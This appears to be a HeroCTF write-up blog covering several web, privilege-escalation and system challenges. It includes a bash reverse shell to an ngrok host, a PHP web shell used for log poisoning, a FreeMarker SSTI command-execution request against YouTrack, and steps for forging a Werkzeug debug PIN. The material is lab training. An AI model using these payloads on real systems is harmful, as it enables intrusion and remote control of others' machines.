Playing Hacks and Stuffs!
Here are the challenges I was able to solve:
P.S:- The scoreboard was dynamic
Since we’re given a remote service to connect to let us see what it does
Connecting to it shows this
We’re asked a calculation
I used python to evaluate the question and then after getting the answer and giving the remote service the answer I got this
I got Too Slow so basically we need to solve each math it gives
And doing this manually is not possible cause it also checks the answer received with time
The way forward is by scripting it and that’s what I did
Here’s my solve script it’s not really well scripted but it does the job 😄
Running it gives the flag
Flag: Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}
After downloading the source code and unzipping it I got this
Reading the source code shows this
So basically there are just two endpoints which are /
and /admin
Querying /
just returns the string Hello World
But when you query /admin
it checks for the referer header and compares it with the value YOU_SHOUD_NOT_PASS!
If the check is right we get the flag but if it isn’t we get Wrong header!
Also here’s the nginx config
Basically we can see that if we query the admin endpoint it checks if the referer header is https://admin.internal.com
If it isn’t it returns 403
Now the problem is for us to get the flag we need to set the referer header to YOU_SHOUD_NOT_PASS!
but we also need to meet the nginx config check
After I researched about referer header I got to know that both referer
and referrer
can be used in expressjs
Here’s the resource
So now we can pass the two checks sweet 😄
Flag: Hero{ba7b97ae00a760b44cc8c761e6d4535b}
After i deployed the instance going over to the web server shows this
Looks like we can calculate stuff and yea we can
At first I was thinking of python code injection but after hours it failed 😹
So lets see what we’ve got
Checking the cookie reveals this jwt token
Decoding it using jwt.io gives this
Notice the data value:
{
"role": "guest"
}
I’ll try brute forcing the jwt token key and I got the SECRET key to be key
Now we can sign a new token as user admin
But before that trying to access an invalid page returns this
It shows that the valid paths are /
and /adminPage
Notice also how the url path is reflected back to us
Trying basic SSTI payload works
But let’s see the adminPage endpoint
We notice that it reflects back the role value for the jwt token
So what i tried was using a ssti payload as the username signing the token using the SECRET key as key
then replacing it with my token
It works so there’s ssti both on the url path and the role value in the jwt token
But trying a payload gotten from PayloadAllTheThings doesn’t work when i used it in the url
But when used in the jwt token It works
If you notice doing that manually is quite stressfull so with the help of google I searched on how to sign a key with python and i made this script
Using it I can execute command
Time for a reverse shell
I had to edit my ngrok config file to tunnel 3 connections
version: "2"
authtoken: [REDACTED]
tunnels:
app-0x:
addr: 80
proto: tcp
app-dead:
addr: 443
proto: tcp
app-beef:
addr: 1337
proto: http
Now I made it start all 3 tunnels
Back on getting shell here’s my payloads
I stored this in a file called lol.sh
sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/19990 0>&1
Then i started a python web server on that same directory and used this, btw I also hosted a nc listener on port 443
python3 ssti.py http://dyn-02.heroctf.fr:14278 ""
python3 ssti.py http://dyn-02.heroctf.fr:14278 ""
python3 ssti.py http://dyn-02.heroctf.fr:14278 ""
From there I got shell
And we have the flag
Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}
I had to first deploy an instance
Now I logged in using the cred given
Checking the / directory shows that the flag is there
And noticing the permission set on it shows this
At the moment we don’t have any read/write/execute permission over the file
But since the file is owned by us so, we can change the permission set on it using chmod
Trying it gives permission denied
Hmmmmm let us see what permission is set on the chmod binary
Dang it’s permission is the same as the flag.txt file and since the binary is owned by root we can’t change it
At this point I taught I had to do privilege escalation so using scp I transferred linpeas.sh to the box
I immediately noticed that the linpeas i transferred has execute permission set on it
So maybe any file that is transferred to the box will automatically have execute perm set on it
This is good cause now I can upload my own machine chmod binary to the box then run it
Doing that works
Now that we have chmod binary on it which has execute permission we can then change the permission on the flag file then read it
Flag: Hero{chmod_1337_would_have_been_easier}
This is just the message asking if we accept the upcoming mission
And the flag is just right there
Flag: Hero{I_4cc3pt_th3_m1ss10n}
First I started an instance
Then i logged in to ssh
We know that the goal is to read the file at /home/privilegeduser/flag.txt
But we are currently user user
so we will be doing some privilege escalation
Checking for sudo permission shows that we can run /usr/bin/socket as user privilegeduser
Moving over to gtfobins shows that we can get a reverse shell via the socket binary
We were given the internal IP for the machine and luckily there’s netcat on the machine
So we’ll be using nc to catch the reverse shell
I ssh to another session where my reverse shell will be caught
And we get the flag
Flag: Hero{ch3ck_f0r_m1sc0nf1gur4t1on5}
I started an instance as usual first
Remember initially we were given the cred to ssh which is bob:password
We’re given two boxes attempting to login to ssh with the first host fails
But for the second one it works
There’s a welcome.txt in the user’s home directory
Checking it’s content gives this
Hi Bob!
Welcome to our firm. I'm Dave, the tech lead here. We are going to be working together on our app.
Unfortunately, I will be on leave when you arrive. So take the first few days to get familiar with our infrastructure, and tools.
We are using YouTrack as our main issue tracker. The app runs on this machine (port 8080). We are both going to use the "dev" account at first, but I will create a separate account for you later. There is also an admin account, but that's for our boss. The credentials are: "dev:aff6d5527753386eaf09".
The development server with the codebase is offline for a few days due to a hardware failure on our hosting provider's side, but don't worry about that for now.
We also have a backup server, that is supposed to backup the main app's code (but it doesn't at the time) and also the YouTrack configuration and data.
Only I have an account to access it, but you won't need it. If you really have to see if everything is running fine, I made a little utility that run's on a web server.
The command to check the logs is:
curl backup
The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!
Dave
After reading it here’s what I understood from it:
Since there’s a web server hosted locally and it is running YouTrack, I used ssh portforward to make it accessible to my host
Command: ssh -L 8000:127.0.0.1:8080 bob@dyn-05.heroctf.fr -p13654
We can confirmed it worked by scanning our host
Dave gave us the dev user credential to be dev:aff6d5527753386eaf09
Moving over to my web browser shows a login page
Using the credential works
Next thing I noticed is the verson of the web app which is:
YouTrack 2020.5.2579
Searching for exploits leads here
But after reading the exploit which is basically exploiting Server Side Template Injection (SSTI) it requires a privileged admin user account and our account isn’t an admin account so let us put this aside for now
Looking through the web app shows this issue page
Clicking on the first issue gives the flag
Flag: Hero{1_tr4ck_y0u_tr4ck_h3_tr4ck5}
I got third blood in this challenge hahaha 🩸
Now back to the web app
The other issues are not of importance except this one
It’s talking about the Backup Log checking utility and remember that Dave said there’s a backup server
I downloaded the script to my host and here’s the content
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("/var/log/backup.log");
}
?>
Now if you remember that Dave said the command to check the log is curl backup so this means that backup is a web server running on port 80
Pinging it from the host we currently have access to shows this
So basically this is the second host as we can tell from it’s ip i.e the box that when we tried loggin to ssh didn’t work
For us to access the host we need to port forward it
Now we can access it from our host
But it returns the backup log file and this is intended cause no file parameter was passed in the url
Back to the script we can see it uses include to get the content of the file passed in the $file parameter and this vulnerable to Local File Inclusion (LFI) due to the usage of include
Let us confirm it first
Cool it works. At this point let’s further exploit this vulnerability to get Remote Code Execution (RCE)
There are various ways or achieving this but in this case i’ll go with Log Poisoning
First lets determine what web server this web app is built on
Using wappalyser extension i achieved that though you can use nmap,curl,http-header to fingerprint that
The web server is Nginx. This is needed cause for log poisoning, we need to know where the log files are placed
And from Nginx it’s default is:
/var/log/nginx/access.log
Including the log file works
So let us go ahead with the attack
I used burp to work with the header manipulation
First thing to do is to inject this php code in the user-agent header
<?php system($_GET['cmd']); ?>
Also forward the request at least three times for it to appear in the log file
From here we can get code execution
Looking at the result we see that we are user www-data
Let us get a reverse shell.
Since there’s already nc on the other host, I just used it to host a python web server which contains a file lol.sh and the file content is that of a bash reverse shell
Now i will make the file at /tmp/lol.sh executable then run it and hope to catch my reverse shell in my listener
Back on our listener for our shell fingers crossed 🤞
Let us now stabilize it using python
User www-data is less privileged so lets see how we can escalate privilege
Running sudo -l shows that user www-data can run /usr/bin/rsync as user backup
Moving over to gtfobins shows a way we can abuse the permission to get shell
Trying it works
Now that we are user backup lets see what we have access to
Nice let’s see what’s in /backup
Our flag is in there also
Flag: Hero{n0t_0nly_hum4ns_c4n_b3_po1s3n3d}
I got 2nd blood on this challenge 🩸
From the challenge description it seems we’re to find credential of the admin user
And looking at our current working directory shows multiple zip files
If we were to find a password it would be quite stressfull as this zip files are much
But now remember the hint from the note Dave gave:
The first backups might be messed up a bit, a lot bigger than the rest, they occured while I was setting up YouTrack with it's administration account.
Hope you find everything to you liking, and welcome again!
This is great cause now we can limit our search to a precise file
And what we can use is the file size and also date
Looking at the result we can see that the best zip file to be searched is youtrack-1683836642.zip
Reason is because:
Now that we’ve proposed our theory let us now unzip it
Searching through each of the files is stressfull so I used grep to recursively search for the string password
We see a password which looks like what a real admin would use haha
So the cred is likely admin:Th1sIsAV3ryS3cur3Adm1nP4ssw0rd0101#
Since Dave was referring to the cred of the YouTrack web service let us try logging in as admin using this newly found password
Cool since we’re admin we can further exploit this web app
Remember that we got a vulnerability which took exploited the web app via SSTI
Following the instruction lead to remote code execution
We are user dave
I made it list the files in dave’s directory
From here we can cat the file
Here’s my request
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8000/admin/notificationTemplates/article_digest_subject
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1683981421136.be561191-dbd3-4457-86f5-592c273d3a82.1e31bb66-596d-41d6-9137-09b74c484055.be561191-dbd3-4457-86f5-592c273d3a82 6ab631e2-61a7-4806-b029-44f0753fc29a 0-0-0-0-0;1.MCwCFEzJ/cvlsEpm0ynQY+gvxuTKdWzzAhQeiLQA+N86lO1dXGbNEVtoBGuacw==
Content-Length: 421
Origin: http://localhost:8000
Connection: close
Cookie: i_like_gogs=8e9ae9c0377d4e18; i_like_gitea=f8bf16c31150322e; lang=en-US; YTJSESSIONID=node0dmm9xnxqzju510a8uh9375heq13.node0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign classloader=article.class.protectionDomain.classLoader><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classloader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,null)(\"cat /home/dave/flag.txt\")}"
}
}
And here’s the flag:
Flag: Hero{pl41nt3xt_p4ssw0rd_4nd_s5t1_b1t_much_41nt_1t?}
I got 2nd blood on this challenge also 🩸
Let us get this over with 🙂
Since we already have code execution on the box let’s see if we can get shell
I checked if there was any ssh key for user dave and there wasn’t
But I noticed a file randomfile.txt.enc and also .bash_history in the user dave directory so i copied it to /tmp
Back on the box we can now access the file
We see that this is the command used to create the radnomfile.txt.enc:
openssl aes-256-cbc -salt -k Sup3r53cr3tP4ssw0rd -in randomfile.txt -out randomfile.txt.enc
It’s using open ssl aes encryption to decrypt it this is the command:
openssl aes-256-cbc -d -salt -k Sup3r53cr3tP4ssw0rd -in randomfile.txt.enc -out randomfile.txt.dec
Running that decrypts the file and I got the flag
Flag: Hero{4_l1ttle_h1st0ry_l3ss0n_4_u}
This was rated Hard and it was very hard to me lol 😹
Since this is a continuation of the Flask#1 box lets see what we can do
Going over to the user’s home directory shows the flag but we don’t have access over it
Checking the content of the reboot script shows this
if [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]
then
pkill python3 -U 1000
/usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself
fi
The script checks if /var/www/app/app.py is running, and if not, kills every owned python3 process and restarts the app. Since the cron deamon is running, it’s pretty safe to assume that there is cronjob running this script at a regular interval.
And also cron is running
Reading the file shows that it’s like the same vulnerable ssti source code
And it’s running internally on port 5000
What I did while trying it was to port forward it to my host to see if it was vulnerable to ssti but it wasn’t
And the reason is here:
The way it is formatted isn’t the same as the one in the vulnerable app.py
Also it’s running internally on port 5000
There’s another thing to notice
A urandom
file is stored in the config directory which is symbolically linked with /dev/urandom
🤔
Well let’s see……
The internal web server running on port 5000 has Debug set to True
That means that /console would be open
But we would need a key to unlock the prompt
It is easy to recreate the key since we have access to the box already
From this HackTricks blog shows how it can be done
But the problem is when we read the debug/init.py file located here:
Path: /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py
It shows this:
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
Notice the private bits variable
private_bits = [
str(uuid.getnode()),
get_machine_id(),
open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
]
We know that to get the pin we need the private bits and also the public bits which is easy to get:
probably_public_bits = [
'flaskdev',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
How i got the path of the app.py is by causing an error by trying to divide a number by zero
Let us first get the other required private bit values
Now back to the private bit from the init.py file
private_bits = [
str(uuid.getnode()),
get_machine_id(),
open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
]
We see that the developer included another value which reads in 16 bytes from the urandom binary located at /var/www/config/urandom
That is very impossible to guess but good thing is that we have full permission over that directory
So the idea is that we can remove that binary then put null bytes into it, then when the script forms the new pin when cron runs it will then be predictable
Now that we have all this let us get the pin
Here’s the script I used
Running it gives the key
With this we can port forward the internal server on port 5000 to our host
First I had to upload chisel to the box
But we will need to restart the web app on another port since it kills every owned python3 process and restarts the app. Since the cron deamon is running, it’s pretty safe to assume that there is cronjob running this script at a regular interval. There is subtility to note here. As we saw in the previous challenge Flask#1 , flaskdev is not the best developer there is. His mistake in this script was to check for every instance of the app running, regardless of the user who launched it, and to make a strict comparison to 2. This means that if we run the app with our current user, the script will find 3 lines in the output of ps -aux, and will kill it’s own app, only to restart it moments later.
Let’s restart the app with the knowledge we acquired earlier when analysing the reboot_flask.sh script. We have to run the app on a different port, since 5000 is already in use.
After a minute, flaskdev’s instance should have rebooted, we can kill our own.
To port forward is this way:
Host: chisel server -p 80 --reverse
Target: ./chisel client 7.tcp.eu.ngrok.io:11451 R:8001:127.0.0.1:1337 &
We can now access the debugging console and get the flag.
>>> import os ; os.popen('cat /home/flaskdev/flag.txt').read()
'Hero{n0t_s0_Urandom_4ft3r_4ll}\n'
And we’re done 👻